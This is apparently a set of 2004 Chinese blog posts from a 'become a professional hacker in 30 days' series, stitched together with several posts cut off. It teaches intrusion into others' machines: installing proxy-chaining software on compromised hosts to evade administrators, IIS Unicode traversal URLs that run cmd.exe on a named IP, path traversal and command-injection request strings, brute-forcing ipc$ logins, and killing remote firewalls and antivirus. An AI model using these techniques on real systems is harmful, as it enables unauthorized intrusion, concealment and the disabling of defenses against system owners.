使用 ’<’ 和 ’>’, 你可以添加或者移除socks. 记得一定要在使用前测试所有的socks.
五.测试你的设置
用你所建立的浏览器的快捷方式打开浏览器,连接到
http://cavency.virtualave.net/cgi-bin/env.cgi或者
http://internet.junkbuster.com/cgi-bin/show-http-headers
同样,打开你的telnet客户端并尝试telnet到
ftp.cztc.edu.cn
你可以通过https://sites.inka.de:8001/cgi-bin/pyca/browser-check.py来检测SSL或者
FTP到ftp.zedz.net——或者其它的FTP来验证你的IP。
在上面的测试中,远程主机上留下的将是你最后一个chain的IP地址。当然你可以在自己的
网络里进行测试……
再说说另一种吧SkSockServer“(下面称SSS)
这个与上面的利用著名的wingate做的有什么区别?
1/ 普通的Sock代理程序不支持多跳板之间的连续跳,而SSS却可支持最多达255个跳板之间的连跳运动
2/ 普通的Sock代理程序之间的数据传输是不加密的,而SSS支持的跳板之间传输的数据是经过动态加密的,也就是说每次传输过程中,数据加密的方式都不相同。就算你不幸在..的过程中被webmaster发现,普通的sock代理程序将会被webmaster用sniffer把你的信息一览无遗,而恰巧你用的是SSS的话,呵呵~他将会看到一堆乱码
3/普通的sock代理程序在设置上比较烦琐,而SSS只用两步就全都ok了。(具体步骤将在下面说明) 普通的sock代理程序要不然只支持Tcp或Udp的连接,很少有二者兼顾的,而SSS却全部支持
下面是一个大哥写的教程我觉得不错,就COPY一下了
找A机上传SSS文件,(怎么找我想你应该有个肉鸡吧)如果权限足够的话,应该可以完成SSS的安装和启动。所示:
SSS命令参数的说明:
-install 在NT机上安装SSS
-remove 移除SSS.
-debug 呵呵~snake进行debug用的,对于咱们老百姓来言无用。
sksockserver –install 安装sksockserver。
net start skserver 启动skserver服务。:(注意:这可是在A机上运行的,可不是你自己的爱机)
Ok啦~A机跳板完成,下面进行B机跳板的安装:
打开终端服务客户端连上找到的B菜机。
用B菜机的IE直接下载SSS~~呵呵~如图2:(IP地址隐去啦~大家自己找菜机吧)
图2
在B菜机上配置sockservercfg(因为是用vc编写的sockservercfg,所以必须有mfc的库文件,如果出现“无法定位序数XXXX于动态连接库mfc42.dll”的话,大家可以在自己的机子上找找,最终上传到B菜机的路径:X:\winnt\system32)
sockservercfg图例说明:分见图3、图4、图5:
图例说明:
图3:SSS的配置界面一:在名称处可以填上任意的程序说明,以方便糊弄网管。要注意三处画红圈处,分别为:程序在开机时自动启动(我第一次用的时候还以为是 -
2004-04-28
[第16天]IIS5 UNICODE 编码漏洞 - [30天打造专业红客]
前2天一直在讲网络监听,虽然我觉得很有必要,但好多人都发来消息说没什么太多兴趣。虽然还是很想讲这个,但因为大家有意见,就不说。经过快半个月的学习,我想如果你很认真的在看的话的,我想你的基本功已经很好了.今天开始我会开始由一些详细的攻击或其他的方法开始说了,有些地方我就不详细说明了,如果有问题可以发贴来问
回到话题,先说说什么叫UNICODE 编码 IIS5呢?IIS5我想大家都知道,但UNICODE 编码 可能你如果不是学计算机的可能就有困难了。具体我就不讲了,你看这篇文章http://www.uighurlinux.org/unicode.htm我想很好的。
大家一定都知道那个风光了很久的IIS5 UNICODE 编码漏洞吧。不知道??原文:
微软IIS 4.0 / 5.0 扩展UNICODE目录遍历漏洞
远程漏洞:是
本地漏洞:是
发布日期:2000年10月17日
更新日期:2000年10月17日
受影响的版本:
Microsoft IIS 5.0
+ Microsoft Windows NT 2000
Microsoft IIS 4.0
+ Microsoft Windows NT 4.0
+ Microsoft BackOffice 4.5
- Microsoft Windows NT 4.0
+ Microsoft BackOffice 4.0
- Microsoft Windows NT 4.0
不受影响的版本:
漏洞描述:
微软IIS 4.0和5.0都存在利用扩展UNICODE字符取代"/"和"\"而能利用"../"
目录遍历的漏洞。
未经授权的用户可能利用IUSR_machinename账号的上下文空间访问任何已知
的文件。该账号在默认情况下属于Everyone 和Users组的成员,因此任何与
Web根目录在同一逻辑驱动器上的能被这些用户组访问的文件都能被删除,
修改或执行,就如同一个用户成功登陆所能完成的一样。
测试方法:(以下的程序或方法可能具有攻击性,如用于非法用途,后果自负!)
http://target.computer/scripts/..%c1%1c../path/solo.txt
%c0%af = /
%c1%9c = /
解决方案:
该漏洞补丁随微软安全公告MS00-057一起发布
(http://www.microsoft.com/technet/security/bulletin/ms00-057.asp)
可以从如下地址下载补丁:
IIS 4.0
http://www.microsoft.com/ntserver/nts/downloads/critical/q269862/default.asp
IIS 5.0
http://www.microsoft.com/windows2000/downloads/critical/q269862/default.asp
进入正题 1.首先我们来看看这个漏洞的原理。
在中文版的IIS4,和ISS5中,存在一个BUG,原因是UNICODE编码 存在BUG 在UNICODE 编码中,发现了一个奇怪的编码方式,
例如:
%c1%hh %c0%hh (0x00〈= 0xhh 〈 0x40)
IIS 把 "%c1%hh" 编码成(0xc1 -0xc0) * 0x40 + 0xhh.
例如
(Windows 2000 + IIS 5.0 + SP1 简体中文版)这个指你想动的主机信息
http://192.168.8.48/A.ida/%c1%00.ida
IIS 将返回"@.ida" 找不到该文件 在这里 (0xc1-0xc0)*0x40+0x00=0x40=’@’
http://192.168.8.48/A.ida/%c1%01.ida
IIS 将返回 "A.ida" 找不到该文件 这里 (0xc1-0xc0)*0x40+0x01=0x41=’A’
http://192.168.8.48/A.ida/%c1%02.ida
IIS 将返回 "B.ida" 找不到该文件 ....
http://192.168.8.48/A.ida/%c0%21.ida
IIS 将返回 "!.ida" 找不到该文件
这就意味着你能利用这些编码的特点。
例如:
%c1%1c -〉 (0xc1 - 0xc0) * 0x40 + 0x1c = 0x5c = ’/’
%c0%2f -〉 (0xc0 - 0xc0) * 0x40 + 0x2f = 0x2f = ’\’
这个不懂没事,接着看
但我们可以用这种方法进入一些目录
(1)http://192.168.8.48/scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir
这样我们将得到
Directory of d:\inetpub\scripts
2000-09-28 15:49 〈DIR〉
. 1999-07-21 17:49 147,456
Count.exe 2000-09-12 17:08 438,290
Count25.exe 2000-10-13 15:03 8,867
counter.err 2000-08-23 23:07 160,002
counter.exe 1999-05-25 18:14 3,925
CountNT.html 1999-07-21 17:49 64,512
extdgts.exe 2000-08-10 15:24 46,352
ism.dll 1999-07-21 17:49 64,512
mkstrip.exe 1999-05-25 18:181,317
README.txt 2000-09-28 15:49
〈DIR〉 wcount 9 File(s) 935,233 bytes
(2) 我们也可以利用此BUG得到一些系统文件的内容
http://192.168.8.48/a.asp/..%c1%1c../..%c1%1c../winnt/win.ini
IIS 将把它当作 a .ASP 文件提交.它将让 asp.dll 来打开文件win.ini
如果用 IIS 4.0+SP6(中文版), 将不能测试成功 但是我们能用下列方法得到。 http://192.168.8.100/default.asp/a.exe/..%c1%1c../..%c1%1c../winnt/winnt.ini
"default.asp" 是一个存在的 .ASP 文件, "a.exe" 是一个随机的 .EXE 文件名. 它可以不存在。
打上SP1仍然还有这种编码问题。
在英文版本中使用 %c1%af 能正常利用这个漏洞。
上面已经说过了这个漏洞的资料,现在我们就来说说怎么利用呢?虽然这个漏洞公布很久了, 但你仍然会发现,你可以找到很多这种机器。
假如我们已经找到了一台有这个漏洞的机器。(假设IP为218.22.160.21,是乱说的,其实这是个CS服务器IP:218.22.160.21:27015,很好,我在里面叫xiaojia)
让我们来进行下面的操作
h -
2004-04-28
『第15天』网络监听技术分析 纯属理论 - [30天打造专业红客]
今天我们先说几个基本概念.首先,我们知道,一台接在以太网内的计算机为了和其他主机进行通讯,在硬件上是需要网卡,在软件上是需要网卡驱动程序的。而每块网卡在出厂时都有一个唯一的不与世界上任何一块网卡重复的硬件地址,称为mac地址。同时,当网络中两台主机在实现tcp/ip通讯时,网卡还必须绑定一个唯一的ip地址.
对我们来说,浏览网页,收发邮件等都是很平常,很简便的工作,其实在后台这些工作是依*tcp/ip协议族实现的,大家知道有两个主要的网络体系:OSI参考模型和TCP/IP参考模型,OSI模型即为通常说的7层协议,它由下向上分别为物理层、数据链路层、网络层、传输层、会话层、表示层、应用层,而tcp/ip模型中去掉了会话层和表示层后,由剩下的5层构成了互联网的基础,在网络的后台默默的工作着。
当局域网内(因为我们最常见的就是局域网)的主机都通过HUB等方式连接时,一般都称为共享式的连接(就是大家长说的共享),这种共享式的连接有一个很明显的特点:就是HUB会将接收到的所有数据向HUB上的每个端口转发,也就是说当主机根据mac地址进行数据包发送时,尽管发送端主机告知了目标主机的地址,但这并不意味着在一个网络内的其他主机听不到发送端和接收端之间的通讯,只是在正常状况下其他主机会忽略这些通讯报文而已!如果这些主机不愿意忽略这些报文,网卡被设置为promiscuous状态的话,那么,对于这台主机的网络接口而言,任何在这个局域网内传输的信息都是可以被听到的。如果网卡被设置为为混杂模式(promiscuous),主机将会默不作声的听到以太网内传输的所有信息,也就是说:窃听也就因此实现了!
对发生在局域网的其他主机上的监听,一直以来,都缺乏很好的检测方法。这是由于产生网络监听行为的主机在工作时总是不做声的收集数据包,几乎不会主动发出任何信息。但可惜的有些大虾们就爱动脑筋啊,现在已经有些方法了
1:反应时间
向怀疑有网络监听行为的网络发送大量垃圾数据包,根据各个主机回应的情况进行判断,正常的系统回应的时间应该没有太明显的变化,而处于混杂模式的系统由于对大量的垃圾信息照单全收,所以很有可能回应时间会发生较大的变化。这个方法很好,但有时候也没用因为大家没经验嘛
2:观测dns
许多的网络监听软件都会尝试进行地址反向解析,在怀疑有网络监听发生时可以在dns系统上观测有没有明显增多的解析请求。没DNS的或者不能接触的就有点郁闷了
3:利用ping模式进行监测
这个方法我不怎么知道,看了一些文章就COPY了一下,有点头晕,但应该能看懂:假设我们怀疑的主机的硬件地址是00:30:6E:00:9B:B9,它的ip地址是192.168.1.1,那么我们现在伪造出这样的一种icmp数据包:硬件地址是不与局域网内任何一台主机相同的00:30:6E:00:9B:9B,目的地址是192.168.1.1不变,我们可以设想一下这种数据包在局域网内传输会发生什么现象:任何正常的主机会检查这个数据包,比较数据包的硬件地址,和自己的不同,于是不会理会这个数据包,而处于网络监听模式的主机呢?由于它的网卡现在是在混杂模式的,所以它不会去对比这个数据包的硬件地址,而是将这个数据包直接传到上层,上层检查数据包的ip地址,符合自己的ip,于是会对对这个ping的包做出回应。这样,一台处于网络监听模式的主机就被发现了。
4:利用arp数据包进行监测
这个方法和上面的差不多,它使用arp数据包替代了上述的icmp数据包而已,向局域网内的主机发送非广播方式的arp包,如果局域网内的某个主机响应了这个arp请求,那 么我们就可以判断它很可能就是处于网络监听模式了,这是目前相对而言比较好的监测模式。
(什么叫ARP?就说ARP协议,它是Address Resolution Protocol”(地址解析协议)的缩写,在局域网中,网络中实际传输的是“帧”,帧里面是有目标主机的MAC地址的.所谓“地址解析”就是主机在发送帧前将目标IP地址转换成目标MAC地址的过程。ARP协议的基本功能就是通过目标设备的IP地址,查询目标设备的MAC地址,以保证通信的顺利进行。)
昨天有些朋友说找不到一些网络监听的工具,你www.google.com搜sniffer tools有很多的.
我就列举一些了
Windows平台下的:
Windump http://www.xfocus.net/tools/200108/238.html
相关介绍:http://security.zz.ha.cn/windump.html
注意这个是在NT下用的98就别用了,说到这想说一局如果你的系统是98或是ME的,最好换一个,因为好多很好的软件都要求是NT的
UNIX下:
Sniffithttp://www.programsalon.com/download.asp?type_id=53 第6个
该软件的安装介绍:http://www.xfocus.net/articles/200001/28.html
-
2004-04-25
『第14天』sniffer,今天开始说它了 - [30天打造专业红客]
sniffers(嗅探器)几乎和internet有一样久的历史了.他们是最早的一个允许系统管理员分析网络和查明哪里有错误发生的工具.但是这个工具也给我们带来很大的方便。今天我们看2个问题:1。什么是sniffer 2。如何防止sniffer的监听。似乎是矛盾的哦,呵呵,要2个方面都知道才能百战百胜嘛
什嘛是sniffer (抄定义的)
在单选性网络中, 以太网结构广播至网路上所有的机器, 但是只有预定接受信息包的那台计算机才会响应. 不过网路上其他的计算机同样会"看到"这个信息包,但是如果他们不是预定的接受者,他们会排除这个信息包. 当一台计算机上运行着sniffer的时候并且网络处于监听所有信息交通的状态, 那么这台计算机就有能力浏览所有的在网络上通过的信息包.(这个当然很爽了)
那你就有个问题谁使用这个呢?lan/wan 管理员使用sniffers来分析网络信息交通并且找出网络上何处发生问题.一个安全管理员可以同时用多种sniffers, 将它们放置在网络的各处,形成一个入侵警报系统.对于系统管理员来说sniffers是一个非常好的工具,当然还有我们大家了。那常见的sniffers 有哪些呢?很多,我常用的有Sniffer Pro。当然看一些文章介绍了snoop,但注意这是在UNIX下的,我没怎么用 过 ,所以就不说这个了。至于其他一些好用的,我想你学到现在了应该可以自己找了(上GOOGLE 或是BAIDU都可以,不然www.yahoo.com也不错的)。
那怎么防止sniffer的监听?
显而易见的,保护网络不受sniffer监听的方法就是不要让它们进入. 如果一个人不能通过你的系统进入的话,那么他们无法安装sniffers.当有人看上一个大多数网络通讯流通的中心区域(防火墙或是代理服务器)时,他们便确定这是他们的攻击目标并将被监视.一些可能的"受害者"在服务器的旁边,这时候个人信息将被截获(可能是各种信息甚至是密码)
一个好的方式来保护你的网络不受sniffer监视是将网络用以太网接线器代替普通的集线器分成尽可能多的段.接线器可以分割你的网络通讯并防止每一个系统"看到"每个信息包.坏处是这种东西太贵了,这个还是很重要的
另一个方法是,和那种接线器比就是加密术.Sniffer依然可以监视到信息的传送,但是显示的是乱码.但这个有问题就是网络会延迟,当然还有速度问题和使用一个弱加密术比较容易被攻破。
用一些软件也可以帮助你查出是不是有人在监视你,比如AntiSniff(很小的,但可以扫描你的网路并测试一台计算机是否运行在混杂模式(监听网路上每个数据包)什么意思?你看看上面的类容吧),下载:http://www.pdasky.com.cn/down.asp?id=2876&no=1
大家请注意,从今天开始我们就开始接触网络监听的内容,明天我讲的是各种网络监听技术,因为今天很晚了,所以。。还有就是这2天的内容可能牵涉到一些名词,我一般都会注解的(因为要照顾所有人嘛),但有的如果我没有注解的但你又不太明白的话,请到网络技术板块发贴,我会作出解答,请不要在此后跟贴。
-
2004-04-25
[第13天]80端口攻击总结 - [30天打造专业红客]
今天我们来说说80端口的攻击方法,只是把大概的说一下,肯定有遗漏了.
我将描述每种攻击的作用,和其怎样利用这些漏洞进行攻击(注意host的意思你应该懂吧)
(1)’.’ ’..’ 和 ’...’ 请求
这些攻击痕迹是非常普遍的用于web应用程序和web服务器,它用于允许攻击者或者蠕虫病毒程序改变web服务器的路径,获得访问非公开的区域。大多数的CGI程序漏洞含有这些’..’请求。
Example:
http://host/cgi-bin/lame.cgi?file=../../../../etc/motd
这个列子展示了攻击者请求mosd这个文件,如果攻击者有能力突破web服务器根目录,那么可以获得更多的信息,并进一步的获得特权。
(2)’%20’ 请求
%20是表示空格的16进制数值,虽然这个并不代表你能够利用什么,但是在你浏览日志的时候会发现它,一些web服务器上运行的应用程序中这个字符可能会被有效的执行,所以,你应该仔细的查看日志。另一方面,这个请求有时可以帮助执行一些命令。
Example:
http://host/cgi-bin/lame.cgi?page=ls%20-al|
这个列子展示了攻击者执行了一个unix的命令,列出请求的整个目录的文件,导致攻击者访问你系统中重要的文件,帮助他进一步取得特权提供条件。
(3)’%00’ 请求
%00表示16进制的空字节,他能够用于愚弄web应用程序,并请求不同类型的文件。
Examples:
http://host/cgi-bin/lame.cgi?page=index.html
这可能是个有效的请求在这个机子上,如果攻击者注意到这个请求动作成功,他会进一步寻找这个cgi程序的问题。
http://host/cgi-bin/lame.cgi?page=../../../../etc/motd
也许这个cgi程序不接受这个请求,原因在于它要检查这个请求文件的后缀名,如:html.shtml或者其他类型的文件。大多数的程序会告诉你所请求的文件类型无效,这个时候它会告诉攻击者请求的文件必须是一某个字符后缀的文件类型,这样,攻击者可以获得系统的路径,文件名,导致在你的系统获得更多的敏感信息
http://host/cgi-bin/lame.cgi?page=../../../../etc/motd%00html
注意这个请求,它将骗取cgi程序认为这个文件是个确定的可接受的文件类型,一些应用程序由于愚蠢的检查有效的请求文件,这是我们常用的方法。
(4)’|’ 请求
这是个管道字符,在unix系统用于帮助在一个请求中同时执行多个系统命令。
Example:
# cat access_log| grep -i ’..’
(这个命令将显示日志中的“..“请求,常用于发现我们和蠕虫攻击)
常可以看到有很多web应用程序用这个字符,这也导致IDS日志中错误的报警。
在你的程序仔细的检查中,这样是有好处的,可以降低错误的警报在入侵检测系统中。
下面给出一些列子:
http://host/cgi-bin/lame.cgi?page=../../../../bin/ls|
这个请求命令执行,下面是一些变化的列子
http://host/cgi-bin/lame.cgi?page=../../../../bin/ls%20-al%20/etc|
这个请求在unix系统中列出/etc目录的所有文件
http://host/cgi-bin/lame.cgi?page=cat%20access_log|grep%20-i%20’lame’
这个请求cat命令的执行并且grep命令也将执行,查询出”lame’
(5)’;’ 请求
在unix系统,这个字符允许多个命令在一行执行
Example:
# id;uname -a
(执行id命令后,紧跟着执行uname命令)
一些web程序用这个字符,可能导致在IDS日志中失败的警告,应该仔细的检查web程序,让IDS警报失败的几率降低
(6)’<’ 和 ’>’ 请求
应该检查你的日志记录中这两个字符,众多的原因中,首要的一个是这个字符表明了添加数据在文件中
Example 1:
# echo ’your hax0red h0 h0’ >> /etc/motd (请求写信息在motd这个文件中)
一个攻击者可以容易的用象上面的这个请求篡改你的web页面。比如著名的RDS exploit常被攻击者用于更改web主页面。
Example 2:
http://host/something.php=Hi%20mom%20Im%20Bold!
你会注意到这里html语言的标志,同样用了“〈”,“〉”字符,这种攻击不能导致攻击者对系统进行访问,它迷惑人们认为这是个合法的信息在web站点中(导致人们在访问这个联结的时候访问到攻击者设定的地址,这种请求可能会被转变成16进制的编码字符形式,使攻击的痕迹不那么明显)
(7)’!’请求
这种字符请求常用语对SS(Server Side Include) I进行攻击,如果攻击者迷惑用户点击被攻击者设定的联结,和上面的一样。
Example:
http://host1/something.php=
这个列子是攻击者可能会做的,它让一个host2站点上的文件看起来是来自于 host1上面的(当然,需要访问者访问这个被攻击者设定的联结。这种请求可能被转化成16进制的编码伪装,不易发现)
同时,这种方式也可以以web站点的权限执行命令
Example:
http://host/something.php=
这个列子在远程的系统上执行“id’的命令,它将显示这个web站点用户的id,通常是”nobody’或者“www’
这种形式也允许包含隐藏文件。
Example:
http://host/something.php=
这个隐藏文件.htpasswd不会被显示出来,Apache建立的规则会拒绝这种以.ht 形式的请求,而SSI标志会绕过这种限制,并导致安全 -
2004-04-25
『第12天』从ipc$ 连接失败讲起 - [30天打造专业红客]
今天讲这个好像有点不协调(我指和昨天的),但因为大家在过去的一些日子里遇到了这个问题,所以我觉得有必要再说说这个问题
ipc$ 大家现在都很熟悉了吧,很多人在QQ上都问这个。好像大部分的入侵都非要用到ipc$连接(事实上并不是这样),这似乎是一个很大的缺口,看别人说的好像容易的就像用冰河一样,但事实上,大部分管理员根本不会给你这种机会,让你去用ipc$为所欲为,管理员会想尽一切办法屏蔽掉这个众人皆知的漏洞,就是家用的一般只要有防火墙或是之类的也不会让你这么轻松的进去的。我今天就想和大家一起来看一下ipc$失败的原因和解决的方法。
我们最好先来看一下什么是ipc¥连接。ipc(internet process connection)是远程网络连接。而ipc$,admin$,c$,d$,e$这些则是winnt和win2000的默认共享。ipc$就是一种管道通讯,它在两个ip间建立一个连接。我们一般看到对方主机开了139,445,我们一般就说对方开了共享。就可以尝试用ipc¥连接,具体怎么样你应该没问题了吧。(这种功能只在winnt和win2000种才有,windows98是没有的。 )
很多朋友对ipc¥连接的概念很混淆,我在这里罗嗦几句,ipc¥连接分为ipc$空连接和带有一定权限ipc$连接,这两者可是大大的不一样,许多朋友在建立了空连接之后,就着急的想copy工具上去,这是肯定会报错的,其实这也是很多朋友经常碰到的问题。因为这是空连接,没有任何的权限(就好像匿名访问一样),除了可以得到远程主机的netbios信息外,什么命令都执行不了而可以复制文件是你获得了一定的权限后,比如说你得到一个管理员密码是空口令,也就是带有一定权限的ipc$连接,空连接只是简单的和远程主机建立了一个通讯的管道。是不是什么用都没有呢?当然不是了,我们可以用暴力破解的方法来得到管理员的密码,就是挂上字典不断地进行对ipc$空连接的试探,从而达到取得管理员密码的目的,什么好用你就用什么。到这里我已经对ipc¥空连接和带有一定权限ipc$连接有了一个比较清楚的了解。 很多朋友可能会说说了半天也没到重点。别急嘛,就是作为个知识理解也很好嘛
好了,现在我们来自己分析一下ipc$常见的失败原因,以下都是虚拟的哦
1、错误1326
我们用命令net use \\192.168.0.1\ipc$ "12345" /user:"admaninistrator"进行连接,[如图3]报系统发生1326错误,登陆失败:未知用户名或密码错误。这个错误很常见哦~~~,我们检查一下我们的命令,发现原来是用户名输入错误。(也可能是你的密码输入错误)
2、错误67
这也是我们经常碰到的,让我们许多刚上路的朋友郁闷不已,我们来试一下,输入命令net use \\192.168.0.1\ipc$ "12345" /user:"admninistrator"报系统发生错误67错误[如图5],找不到网络路径。我们需要进入我们的虚拟机看一下,查看一下共享,原来是没开共享,难怪找不到路径。怎么解决呢?我们可以用net share 打开共享。这样就可以了,不会报错了。
3、错误53
再次输入net use \\192.168.0.1\ipc$ "12345" /user:"admninistrator",报系统发生错误53错误找不到网络名。刚才试找不到路径,现在是找不到网络名。这8成是对方的机子开了防火墙了。我们只要杀掉防火墙这个进程就OK了
我们现在已经了解了ipc$失败的原因,我们知道稍微有一点安全意识的网络管理员都会关闭掉共享,不会给你机会用简单的ipc$连接进入他的机子,当然也不排除了哈^_^,而如果他屏蔽掉了ipc$共享并且开了很少的服务(或者根本禁止了许多可以利用的服务),就算你通过某种方法比如说溢出攻击,得到了权限,进入了系统,这时你添加一个账号也没什么意义。想用ipc$连接上传工具,却发现连续的报错,错误1326和错误67比较简单,容易对付。如果碰到对方开了防火墙,也就是(错误67),远程连接不上,我们怎么办呢?这里提供几种办法,
1、杀掉远程主机中的防火墙,如果对方安装了resouce kit 那么我们就可以用tlist 和kill 两个命令来找到并且杀掉防火墙的进程。
2、利用tftp。并不是说有的管理员都安装了resouce kit,那我们怎么办呢?我们知道2000是自带的tftp,我们可以用tftp来上传工具,如tlist 、kill等等,然后关闭防火墙和杀毒软件
3、利用自己的ftp。我们还可以自己驾一个ftp服务器,然后用远程的计算机反过来ftp我们自己的机子,达到上传工具的目的。然后杀掉进程...(其实已经没必要了)剩下的就随你的便了。
马上对上面的方法作几个解释
上面的几种解决办法也只是假设,因为一般的管理员都会想办法禁止windows自带tftp客户端的使用,(具体参阅这篇帖子:http://www.patching.net/org/content/16.htm)这样给我们就有点麻烦。但有时候还是有用的哦
-
2004-04-17
[第11天]mySQL简单介绍 - [30天打造专业红客]
昨天我们说到了SQL,很多朋友说很难,我也知道很难的,说那个只是让大家有个基本的了解,不然以后说一些问题时会很困难的。今天我们来说mySQL,之所以说它是为了让大家对数据库能有个较深的了解。MySQL数据库可以称得上是目前运行速度最快的SQL语言数据库。除了具有许多其它数据库所不具备的功能和选择之外,MySQL数据库是一种完全免费的产品,用户可以直接从网上下载数据库,而不必支付任何费用(推荐下载站点http://www.mysql.com)。
现在很多公司都把MYSQL作为自己数据库管理系统,那如果我们要进入他们的数据库的话就一定要对它有个基础的了解
我将分几个方面来讲这个,包括如果设置数据库,以及如何执行基本的命令等
好,先说第一个如何与数据库建立连接。
一般来说,我们访问MySQL数据库时,首先需要使用telnet远程登录安装数据库系统的服务器,然后再进入MySQL数据库。MySQL数据库的连接命令如下:
mysql -h hostname -u username -p[password]
或者:
mysql -h hostname -u username --password=password
其中,hostname为装有MySQL数据库的服务器名称,username和password分别是用户的登录名称和口令。
如果MySQL数据库安装和配置正确的话,用户在输入上述命令之后会得到如下系统反馈信息:
Welcome to the MySQL monitor. Commands end with ; or \g.
Your MySQL connection id is 49 to server version: 3.21.23-beta-log
Type ’help’ for help.
mysql>
这样,用户就成功进入了MySQL数据库系统,可以在mysql>命令提示符之后输入各种命令。
下面我们来说一些主要管理命令,当然你可以在HELP下获得 (我就是从里面copy的)
mysql> help
help (\h) 显示命令帮助
? (\h) 作用同上
clear (\c) 清除屏幕内容
connect (\r) 重新连接服务器,可选参数为 db(数据库)和 host(服务器)
exit (\) 退出mysql数据库,作用与quit命令相同
go (\g) 将命令传送至mysql数据库
print (\p) 打印当前命令
quit (\q) 退出mysql数据库
status (\s) 显示服务器当前信息
use (\u) 打开数据库,以数据库名称作为命令参数
上述命令主要用于MySQL数据库的系统管理,如果用户需要对某个具体的数据库进行操作,可以使用use命令进入该数据库,格式如下:
mysql> use dbname;
在MySQL数据库中,用于保存数据记录的结构被称为数据表。而每一条数据记录则是由更小的数据对象,即数据类型组成。因此,总体来说,一个或多个数据类型组成一条数据记录,一条或多条数据记录组成一个数据表,一个或多个数据表组成一个数据库。我们可以把上述结构理解为如下形式:
Database < Table < Record < Datatype
MySQL 数据库提供了多种数据类型,其中较为常用的几种如下: (这个就简单介绍了)
CHAR (M) CHAR数据类型用于表示固定长度的字符串,可以包含最多达255个字符。其中M代表字符串的长度。
VARCHAR (M) VARCHAR可以保存可变长度的字符串。其中M代表该数据类型所允许保存的字符串的最大长度,只要长度小于该最大值的字符串都可以被保存在该数据类型中。
light_years INT
DATE DATE数据类型用于保存日期数据,默认格式为YYYY-MM-DD。
这个很重要的,举个例子
the_date DATE;
TEXT / BLOB
SET
ENUM
基本就这么多,我没有详细说是因为好象大家可能对这不感兴趣,如果你有兴趣的话,用-QQ联络我,我推荐几个好东西给你,今天时间不早了,就说到着明天我们说下面的内容。可能这2天大家觉得很无聊,但不吃一番苦怎们能开心呢?好象是这样说的吧,呵呵
-
2004-04-17
『第10天』说SQL - [30天打造专业红客]
昨天的大选真是令人气愤啊,阿扁绝对有舞弊我敢说。好了,不说这个了,说我们今天说的话题:SQL。
先说说什么叫SQL?大家反正都觉得这SQL和数据库有关,其实也不是这样的。SQL是一种结构化数据库查询语言,其发音为“sequel”或“S-Q-L”。尽管MICROSOFT以其特有的方式加入了所有权声明,但它在大多数据库应用中近乎成为一种标准。简言之,它是一种使用你选择的标准从数据库记录中选择某些记录的方法。
因为它的重要所以我将会花一定的时间来讲它,前面的东西大家不说可能用这就会了,但这个一定要仔细的说。先回答大家一个疑问,学了SQL有什么用呢?现在常用的数据库软件是ms-sql,一般的服务器上都由它提供数据库服务,但哟于具有管理权限的帐号SA的默认密码是空的,且低版本的SQL由漏洞能直接获得密码。所以它也成为入侵的一种捷径(如果由漏洞的话)。介绍个软件MS-SOL Brower(SQL远程入侵软件),以后会由用的。
在使用它时,只需要发出“做什么”的 命令,“怎么做”是不用使用者考虑的。
SQL数据库数据体系结构
SQL数据库的数据体系结构基本上是三级结构,但使用术语与传统关系模型术语不同。
在SQL中,关系模式(模式)称为“基本表”(base table);存储模式(内模式)称为“存
储文件”(stored file);子模式(外模式)称为“视图”(view);元组称为“行”(row)
;属性称为“列”(column)。名称对称如^00100009a^:
SQL语言的组成
在正式学习SQL语言之前,首先让我们对SQL语言有一个基本认识,介绍一下SQL语言的
组成:
1.一个SQL数据库是表(Table)的集合,它由一个或多个SQL模式定义。
2.一个SQL表由行集构成,一行是列的序列(集合),每列与行对应一个数据项。
3.一个表或者是一个基本表或者是一个视图。基本表是实际存储在数据库的表,而视图
是由若干基本表或其他视图构成的表的定义。
4.一个基本表可以跨一个或多个存储文件,一个存储文件也可存放一个或多个基本表。
每个存储文件与外部存储上一个物理文件对应。
5.用户可以用SQL语句对视图和基本表进行查询等操作。在用户角度来看,视图和基本
表是一样的,没有区别,都是关系(表格)。
6.SQL用户可以是应用程序,也可以是终端用户。SQL语句可嵌入在宿主语言的程序中使
用,宿主语言有FORTRAN,COBOL,PASCAL,PL/I,C和Ada语言等。SQL用户也能作为独
立的用户接口,供交互环境下的终端用户使用。
(这个内容好像很难懂,大家如果实在不行,了解就行了)
对数据库进行操作
SQL包括了所有对数据库的操作,主要是由4个部分组成:
1.数据定义:这一部分又称为“SQL DDL”,定义数据库的逻辑结构,包括定义数据
库、基本表、视图和索引4部分。
2.数据操纵:这一部分又称为“SQL DML”,其中包括数据查询和数据更新两大类操
作,其中数据更新又包括插入、删除和更新三种操作。
3.数据控制:对用户访问数据的控制有基本表和视图的授权、完整性规则的描述,事务
控制语句等。
4.嵌入式SQL语言的使用规定:规定SQL语句在宿主语言的程序中使用的规则
下面我们就 简单介绍一下数据定义
SQL数据定义功能包括定义数据库、基本表、索引和视图。
首先,让我们了解一下SQL所提供的基本数据类型:(如^00100009b^)
1.数据库的建立与删除
(1)建立数据库:数据库是一个包括了多个基本表的数据集,其语句格式为:
CREATE DATABASE <数据库名> [其它参数]
其中,<数据库名>在系统中必须是唯一的,不能重复,不然将导致数据存取失误。[其
它参数]因具体数据库实现系统不同而异。
例:要建立项目管理数据库(xmmanage),其语句应为:
CREATE DATABASE xmmanage
(2) 数据库的删除:将数据库及其全部内容从系统中删除。
其语句格式为:DROP DATABASE <数据库名>
例:删除项目管理数据库(xmmanage),其语句应为:
DROP DATABASE xmmanage
2.基本表的定义及变更
本身独立存在的表称为基本表,在SQL语言中一个关系唯一对应一个基本表。基本表的
定义指建立基本关系模式,而变更则是指对数据库中已存在的基本表进行删除与修改。
(1)基本表的定义:基本表是非导出关系,其定义涉及表名、列名及数据类型等,其语
句格式为:
CREATE TABLE[<数据库名>.]<表名>
(<列名> 数据类型 [缺省值] [NOT NULL / NULL]
[,<列名> 数据类型 [缺省值] [NOT NULL / NULL]]......
[,UNIQUE (列名[,列名]......)]
[,PRIMARY KEY(列名)]
[,FOREIGN KEY(列名[,列名]......)REFERENCE <表名>(列名[,列名]
......)]
[,CHECK(条件)] [其它参数])
其中,〈数据库名〉.]指出将新建立的表存放于该数据库中;
新建的表由两部分组成:其一为表和一组列名,其二是实际存放的数据(即可在定义表
的同时,直接存放数据到表中);
列名为用户自定义的易于理解的名称,列名中不能使用空格;
数据类型为上面所介绍的几种标准数据类型;
[NOT NULL/NULL]指出该列是否允许存放空值,SQL语言支持空值的概念,所谓空值是
“不知道”或“ -
2004-04-17
『第9天』从FTP入侵到SQL - [30天打造专业红客]
